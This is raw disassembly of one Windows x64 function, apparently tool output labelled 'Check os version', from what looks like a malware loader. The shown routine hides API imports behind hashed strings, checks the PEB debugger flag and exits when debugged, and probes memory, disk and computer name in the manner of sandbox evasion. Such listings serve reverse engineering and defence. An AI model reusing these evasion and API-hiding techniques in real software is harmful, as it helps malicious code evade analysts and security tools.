Function at 0x3bd3b5770
Capabilities:
Check os version

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x198
movups xmmword [rsp + 0xf0], xmm6
movups xmmword [rsp + 0x100], xmm7
movups xmmword [rsp + 0x110], xmm8
movups xmmword [rsp + 0x120], xmm9
movups xmmword [rsp + 0x130], xmm10
movups xmmword [rsp + 0x140], xmm11
movups xmmword [rsp + 0x150], xmm12
movups xmmword [rsp + 0x160], xmm13
movups xmmword [rsp + 0x170], xmm14
movups xmmword [rsp + 0x180], xmm15
mov rax, qword [0x3bd3c3cd0]
mov edx, 0x400
lea rcx, [0x3bd3cdae0]
mov qword [rsp + 0x58], rax
lea rax, [fcn.3bd3b3340]
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x48], 0x38
mov qword [rsp + 0x38], 0x408
mov qword [rsp + 0x50], 0x40
mov qword [rsp + 0x40], 0x10
mov qword [rsp + 0x60], rax
call fcn.3bd3a6760
lea rdi, [0x3bd3cdbe0]
lea rsi, [rax + 0x38]
mov qword [rsp + 0x68], rax
mov qword [rax], rdi
lea rbx, [rax + 0x408]
lea rdx, [rax + 0x10]
mov qword [rsp + 0x48], rsi
mov rsi, qword [0x3bd3c3cd0]
lea rdi, [rax + 0x40]
lea rcx, [0x3bd3c2660]
mov qword [rsp + 0x38], rbx
lea rbx, [fcn.3bd3b3340]
mov qword [rsp + 0x40], rdx
mov edx, 0x3ae5a708
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rbx
call fcn.3bd3b25e0
mov rcx, rax
mov rax, qword [rsp + 0x30]
lea rdi, [rax + 0x38]
lea rdx, [rax + 0x408]
mov qword [rsp + 0x48], rdi
mov rdi, qword [0x3bd3c3cd0]
lea rsi, [rax + 0x40]
lea rbx, [rax + 0x10]
mov qword [rsp + 0x38], rdx
lea rdx, [fcn.3bd3b3340]
mov qword [rsp + 0x60], rdx
mov edx, 0x409ad908
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x58], rdi
call fcn.3bd3b34d0
mov rax, qword [rsp + 0x30]
mov rsi, qword [0x3bd3c3cd0]
mov edx, 0x3f85f188
lea rcx, [0x3bd3c2440]
lea rdi, [rax + 0x38]
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x48], rdi
lea rdi, [rax + 0x408]
mov qword [rsp + 0x38], rdi
lea rdi, [rax + 0x40]
mov qword [rsp + 0x50], rdi
lea rdi, [rax + 0x10]
mov qword [rsp + 0x40], rdi
lea rdi, [fcn.3bd3b3340]
mov qword [rsp + 0x60], rdi
call fcn.3bd3b25e0
mov rcx, rax
mov rax, qword [rsp + 0x30]
lea rsi, [rax + 0x38]
lea rbx, [rax + 0x408]
lea rdx, [rax + 0x10]
mov qword [rsp + 0x48], rsi
mov rsi, qword [0x3bd3c3cd0]
lea rdi, [rax + 0x40]
mov qword [rsp + 0x38], rbx
lea rbx, [fcn.3bd3b3340]
mov qword [rsp + 0x40], rdx
mov edx, 0x3bc3a788
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rbx
call fcn.3bd3b34d0
mov rax, qword [rsp + 0x30]
mov rcx, qword [0x3bd3c3f30]
mov edx, 1
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x78], 0
lea rsi, [rax + 0x408]
lea rbx, [rax + 0x38]
mov qword [rsp + 0x98], 0
lea rdi, [rax + 0x40]
mov qword [rsp + 0x38], rsi
mov rsi, qword [0x3bd3c3cd0]
mov qword [rsp + 0x48], rbx
lea rbx, [rax + 0x10]
mov qword [rsp + 0x50], rdi
lea rdi, [fcn.3bd3b3340]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rdi
call fcn.3bd3a9ae0
mov qword [rsp + 0x88], rax
lea rcx, [0x3bd3c2420]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x30]
lea rdx, [rax + 0x408]
lea rdi, [rax + 0x38]
mov qword [rsp + 0x38], rdx
mov rdx, qword [0x3bd3c3cd0]
lea rbx, [rax + 0x40]
mov qword [rsp + 0x48], rdi
lea rdi, [rax + 0x10]
mov qword [rsp + 0x50], rbx
lea rbx, [fcn.3bd3b3340]
mov qword [rsp + 0x58], rdx
mov edx, 0x7db3908
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x60], rbx
call fcn.3bd3b25e0
mov rsi, qword [rsp + 0x88]
mov qword [rsi + 0x10], rax
test rsi, rsi
je 0x3bd3b56b8
mov rax, qword [rsp + 0x30]
mov rbx, qword [rsi]
mov qword [rsp + 0x70], 0
lea rsi, [rax + 0x38]
mov qword [rsp + 0x80], rbx
lea rbx, [rax + 0x408]
mov qword [rsp + 0x48], rsi
lea rsi, [rax + 0x40]
add rax, 0x10
mov qword [rsp + 0x40], rax
mov rax, qword [0x3bd3c3cd0]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x58], rax
lea rax, [fcn.3bd3b3340]
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x60], rax
mov rbx, qword [rsp + 0x80]
cmp qword [rsp + 0x70], rbx
jge 0x3bd3b53f4
mov rax, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
mov rcx, qword [0x3bd3c4040]
lea rax, [rax + rsi*8 + 0x10]
mov qword [rsp + 0x30], rax
call fcn.3bd3b74a0
mov rsi, rax
mov r8, 0xffffffffffffffff
xor edx, edx
mov qword [rsp + 0x88], rax
mov qword [rsp + 0xb8], 0
mov rax, qword [rax]
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0xb0]
mov qword [rsi], rax
mov rax, qword [rsp + 0x30]
lea rsi, [0x3bd3b5670]
mov qword [rsp + 0xc0], rbp
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0xd0], rsp
mov rcx, qword [rax]
call fcn.3bd3a2310
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
call fcn.3bd3a3150
mov rbx, qword [rsp + 0x88]
mov qword [rsp + 0x98], rax
mov rax, qword [rbx]
mov rax, qword [rax]
mov qword [rbx], rax
mov rcx, qword [rsp + 0x98]
xor edx, edx
test rcx, rcx
je 0x3bd3b540a
mov rdx, qword [rcx]
add rcx, 0x10
call fcn.3bd3a9f20
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
mov qword [rdx + 0x30], rax
test rax, rax
je 0x3bd3b5422
mov rcx, qword [rax]
call fcn.3bd3aa100
mov edx, 0x661ac788
lea rcx, [0x3bd3c2240]
call fcn.3bd3b25e0
mov rcx, rax
mov edx, 0x1d00bb08
call fcn.3bd3b34d0
mov rbx, qword [rsp + 0x68]
mov edx, 0x44281b08
mov qword [rbx + 0x38], 0
mov rax, qword [rsp + 0x38]
mov qword [rax - 0x10], 0
mov rdi, qword [rsp + 0x50]
xor eax, eax
mov rcx, qword [rsp + 0x48]
and rdi, 0xfffffffffffffff8
sub rcx, rdi
add ecx, 0x3c8
shr ecx, 3
rep stosq qword [rdi], rax
lea rcx, [0x3bd3c21c0]
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x68], rbx
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0
call fcn.3bd3b25e0
mov rcx, rax
mov edx, 0x30266d88
call fcn.3bd3b34d0
mov edx, 0x53228d88
lea rcx, [0x3bd3c2040]
call fcn.3bd3b25e0
mov rcx, rax
mov edx, 0x547e6d08
call fcn.3bd3b34d0
mov edx, 0x6764cd08
lea rcx, [0x3bd3c1ee0]
call fcn.3bd3b25e0
mov rcx, rax
mov edx, 0xb05a388
call fcn.3bd3b34d0
mov edx, 0x4baec388
lea rcx, [0x3bd3c1d20]
call fcn.3bd3b25e0
mov rcx, rax
mov edx, 0x61e06f08
call fcn.3bd3b34d0
mov edx, 0x2c1dcf08
lea rcx, [0x3bd3c1c60]
call fcn.3bd3b25e0
mov rcx, rax
mov edx, 0x1c4ec988
call fcn.3bd3b34d0
mov ecx, 0x5dc
call qword [0x3bd3cd8b8]
call fcn.3bd3b4b50
mov rax, qword [rsp + 0x58]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
lea r8, [0x3bd3b4f40]
mov dword [rsp + 0x20], 0
call qword [rax]
mov edx, 0x7aece988
lea rcx, [0x3bd3c19a0]
call fcn.3bd3b25e0
mov rcx, rax
mov edx, 0x25e9b988
call fcn.3bd3b34d0
mov edx, 0xaf3a108
lea rcx, [0x3bd3c1840]
call fcn.3bd3b25e0
mov rcx, rax
mov edx, 0x36ef1108
call fcn.3bd3b34d0
mov edx, 0x257cf88
lea rcx, [0x3bd3c17a0]
call fcn.3bd3b34d0
mov rbx, qword [rsp + 0x68]
mov rax, qword [rsp + 0x60]
xor edx, edx
mov qword [rsp + 0xa0], rax
mov rcx, qword [rbx + 0x30]
mov qword [rsp + 0xa8], rbx
test rbx, rbx
je 0x3bd3b5730
test rcx, rcx
je 0x3bd3b55f6
mov rdx, qword [rcx]
add rcx, 0x10
mov r8, qword [rsp + 0x68]
call fcn.3bd3b3340
nop
movups xmm6, xmmword [rsp + 0xf0]
xor eax, eax
movups xmm7, xmmword [rsp + 0x100]
movups xmm8, xmmword [rsp + 0x110]
movups xmm9, xmmword [rsp + 0x120]
movups xmm10, xmmword [rsp + 0x130]
movups xmm11, xmmword [rsp + 0x140]
movups xmm12, xmmword [rsp + 0x150]
movups xmm13, xmmword [rsp + 0x160]
movups xmm14, xmmword [rsp + 0x170]
movups xmm15, xmmword [rsp + 0x180]
add rsp, 0x198
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x70], 0
lea rdi, [rax + 0x38]
lea rdx, [rax + 0x408]
mov qword [rsp + 0x48], rdi
lea rdi, [rax + 0x40]
add rax, 0x10
mov qword [rsp + 0x40], rax
mov rax, qword [0x3bd3c3cd0]
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x58], rax
lea rax, [fcn.3bd3b3340]
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rax
test rcx, rcx
jne 0x3bd3b5403
jmp 0x3bd3b540a
test rcx, rcx
je 0x3bd3b573c
mov rdx, qword [rcx]
add rcx, 0x10
call fcn.3bd3b3340
jmp 0x3bd3b5601
push r12
push rbx
sub rsp, 0x38
lea rcx, [0x3bd3cd9c0]
call qword [0x3bd3cd9a0]
mov eax, dword [0x3bd3cd9c4]
cmp eax, 6
jne 0x3bd3b5c60
mov eax, dword [0x3bd3cd9c8]
cmp eax, 2
jne 0x3bd3b5c91
mov dword [0x3bd3cdadc], 1
mov edx, 0x7abac308
lea rcx, [0x3bd3c3660]
call fcn.3bd3b25e0
mov edx, 0x546c1988
mov rcx, rax
call fcn.3bd3b34d0
mov rcx, rax
mov qword [0x3bd3cd990], rax
call fcn.3bd3a6fc0
mov edx, 0x7823ab88
lea rcx, [0x3bd3c3580]
mov qword [0x3bd3cd988], rax
call fcn.3bd3b34d0
mov edx, 0x3d701188
lea rcx, [0x3bd3c34c0]
mov qword [0x3bd3cd968], rax
call fcn.3bd3b34d0
mov edx, 0x3f6b9908
lea rcx, [0x3bd3c33c0]
mov qword [0x3bd3cd960], rax
call fcn.3bd3b34d0
mov edx, 0x1c1f7b08
lea rcx, [0x3bd3c3340]
mov qword [0x3bd3cd958], rax
call fcn.3bd3b34d0
lea rcx, [0x3bd3c2ca0]
mov qword [0x3bd3cd950], rax
call fcn.3bd3ab170
xor edx, edx
mov rcx, rax
call fcn.3bd3b4240
xor r8d, r8d
mov r9d, 1
lea rdx, str.LdrLoadDll
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ca0]
mov qword [0x3bd3cd948], rax
call fcn.3bd3ab170
xor edx, edx
mov rcx, rax
call fcn.3bd3b4240
xor r8d, r8d
mov r9d, 1
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call fcn.3bd3b3be0
mov edx, 0x28300108
lea rcx, [0x3bd3c2bc0]
mov qword [0x3bd3cd970], rax
call fcn.3bd3b34d0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd940], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.GetCurrentProcessId
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd930], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.VirtualProtect
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd920], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.OpenProcess
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd928], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.GetProcessHeap
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd918], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.GetProcAddress
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ca0]
mov qword [0x3bd3cd910], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r8d, r8d
mov r9d, 1
lea rdx, str.RtlAddVectoredExceptionHandler
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd908], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.GetModuleHandleA
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd900], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.GetModuleHandleW
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd8f8], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r8d, r8d
xor r9d, r9d
lea rdx, str.GetThreadContext
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd8f0], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r9d, r9d
lea rdx, str.SetThreadContext
xor r8d, r8d
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd8e8], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.CloseHandle
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd8e0], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.OpenThread
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd8d8], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.GetCurrentThreadId
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd8d0], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.WaitForSingleObject
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd8c8], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.MultiByteToWideChar
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd8c0], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Sleep
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd8b8], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.GetTickCount
mov rcx, rax
call fcn.3bd3b3be0
mov edx, 0x77912f88
lea rcx, [0x3bd3c2e20]
mov qword [0x3bd3cd8b0], rax
call fcn.3bd3b25e0
mov edx, 0x3a433588
mov rcx, rax
call fcn.3bd3b34d0
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 0
je 0x3bd3b5c70
mov edx, 0x642b2f08
lea rcx, [0x3bd3c2b80]
mov qword [rsp + 0x28], 0
call fcn.3bd3b25e0
lea rcx, [rsp + 0x28]
mov edx, 1
mov qword [rsp + 0x28], rax
call fcn.3bd3a9e10
xor ecx, ecx
call sub.msvcrt.dll_exit
nop word [rax + rax]
cmp eax, 5
jle 0x3bd3b57a2
jmp 0x3bd3b57ac
call qword [0x3bd3cd918]
mov r12, rax
call qword [0x3bd3cd918]
cmp dword [r12 + 0x70], 2
je 0x3bd3b5cb0
mov ecx, 1
call sub.msvcrt.dll_exit
cmp eax, 3
je 0x3bd3b57a2
test eax, eax
je 0x3bd3b57a2
sub eax, 1
je 0x3bd3b57a2
jmp 0x3bd3b57ac
mov ecx, dword [rax + 0x74]
test ecx, ecx
jne 0x3bd3b5c87
call fcn.3bd3b4430
test al, al
je 0x3bd3b5e77
mov rax, qword [0x3bd3c3c80]
lea rdx, [0x3bd3b31e0]
mov ecx, 1
call qword [rax]
mov rax, qword [0x3bd3c3ca0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x80000003
call qword [rax]
mov rax, qword [0x3bd3c3c90]
lea rcx, [0x3bd3b31e0]
call qword [rax]
mov rax, qword [0x3bd3cd990]
mov ecx, 2
test rax, rax
je 0x3bd3b5d17
mov rcx, qword [rax]
add rcx, 2
call fcn.3bd3a71b0
mov rdx, qword [0x3bd3cd990]
mov rcx, rax
test rdx, rdx
je 0x3bd3b6010
mov r8, qword [rdx]
mov rax, qword [rax]
lea rbx, [rdx + 0x10]
lea r11, [r8 + 1]
lea r9, [rcx + rax + 0x10]
test r11, r11
jle 0x3bd3b5e55
lea r10, [rdx + 0x11]
mov rax, r9
sub rax, r10
cmp rax, 0xe
jbe 0x3bd3b6018
cmp r8, 6
jbe 0x3bd3b6018
mov r12, r11
cmp r8, 0xe
jbe 0x3bd3b603b
mov r10, r11
xor eax, eax
and r10, 0xfffffffffffffff0
nop
movdqu xmm0, xmmword [rdx + rax + 0x10]
movups xmmword [r9 + rax], xmm0
add rax, 0x10
cmp rax, r10
jne 0x3bd3b5d80
mov r10, r11
and r10, 0xfffffffffffffff0
mov rax, r10
cmp r11, r10
je 0x3bd3b5e4f
sub r11, r10
mov r12, r11
mov r11, r8
sub r11, r10
cmp r11, 6
jbe 0x3bd3b5dd1
mov r11, qword [rdx + r10 + 0x10]
mov qword [r9 + r10], r11
mov r10, r12
and r10, 0xfffffffffffffff8
add rax, r10
cmp r12, r10
je 0x3bd3b5e4f
movzx r10d, byte [rdx + rax + 0x10]
lea r11, [rax + 1]
mov byte [r9 + rax], r10b
cmp r8, rax
jle 0x3bd3b5e4f
movzx r10d, byte [rbx + rax + 1]
mov byte [r9 + rax + 1], r10b
lea r10, [rax + 2]
cmp r11, r8
jge 0x3bd3b5e4f
movzx r11d, byte [rdx + rax + 0x12]
mov byte [r9 + rax + 2], r11b
lea r11, [rax + 3]
cmp r8, r10
jle 0x3bd3b5e4f
movzx r10d, byte [rdx + rax + 0x13]
mov byte [r9 + rax + 3], r10b
lea r10, [rax + 4]
cmp r8, r11
jle 0x3bd3b5e4f
movzx r11d, byte [rdx + rax + 0x14]
mov byte [r9 + rax + 4], r11b
lea r11, [rax + 5]
cmp r8, r10
jle 0x3bd3b5e4f
movzx r10d, byte [rdx + rax + 0x15]
mov byte [r9 + rax + 5], r10b
cmp r8, r11
jle 0x3bd3b5e4f
movzx r8d, byte [rdx + rax + 0x16]
mov byte [r9 + rax + 6], r8b
mov rax, qword [rcx]
mov r8, qword [rdx]
add r8, rax
mov qword [rcx], r8
lea rax, [rcx + r8 + 0x10]
mov edx, 0x7075
mov word [rax], dx
mov byte [rax + 2], 0
add qword [rcx], 2
mov qword [0x3bd3cd988], rcx
mov edx, 0x513ae188
lea rcx, [0x3bd3c2a20]
call fcn.3bd3b34d0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd8a8], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.GetComputerNameExA
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd8a0], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.GlobalMemoryStatusEx
mov rcx, rax
call fcn.3bd3b3be0
lea rcx, [0x3bd3c2ba0]
mov qword [0x3bd3cd898], rax
call fcn.3bd3ab170
mov rcx, rax
call fcn.3bd3b40a0
xor r8d, r8d
xor r9d, r9d
lea rdx, str.GetDiskFreeSpaceExA
mov rcx, rax
call fcn.3bd3b3be0
mov qword [0x3bd3cd890], rax
call fcn.3bd3b4530
call fcn.3bd3b48f0
xor edx, edx
mov ecx, 0x1000
movabs r8, 0xffffffff1
call qword [0x3bd3cd880]
test rax, rax
jne 0x3bd3b5fd0
mov edx, 0x197aef88
lea rcx, [0x3bd3c27e0]
call fcn.3bd3b34d0
mov edx, 0x20888508
lea rcx, [0x3bd3c27c0]
mov qword [0x3bd3cd878], rax
call fcn.3bd3b34d0
mov rcx, rax
call fcn.3bd3ab260
mov rcx, rax
call qword [0x3bd3cd900]
mov edx, 0x3ee96b88
lea rcx, [0x3bd3c2780]
mov r12, rax
call fcn.3bd3b34d0
mov rcx, rax
call fcn.3bd3ab260
mov rcx, r12
mov rdx, rax
call qword [0x3bd3cd910]
xor ecx, ecx
mov qword [0x3bd3cd860], rax
call 0x3bd3b4fd0
xor ecx, ecx
add rsp, 0x38
pop rbx
pop r12
jmp 0x3bd3b4fd0
mov edx, 0x538c5708
lea rcx, [0x3bd3c28e0]
call fcn.3bd3b25e0
mov edx, 0xdb37108
mov rcx, rax
call fcn.3bd3b34d0
mov rcx, rax
mov qword [0x3bd3cd990], rax
call fcn.3bd3a6fc0
mov qword [0x3bd3cd988], rax
jmp 0x3bd3b5f49
mov r8, qword [rax]
jmp 0x3bd3b5e5b
xor eax, eax
nop word [rax + rax]
movzx r11d, byte [rdx + rax + 0x10]
mov r10, rax
mov byte [r9 + rax], r11b
add rax, 1
cmp r8, r10
jne 0x3bd3b6020
jmp 0x3bd3b5e4f
xor eax, eax
xor r10d, r10d
jmp 0x3bd3b5db9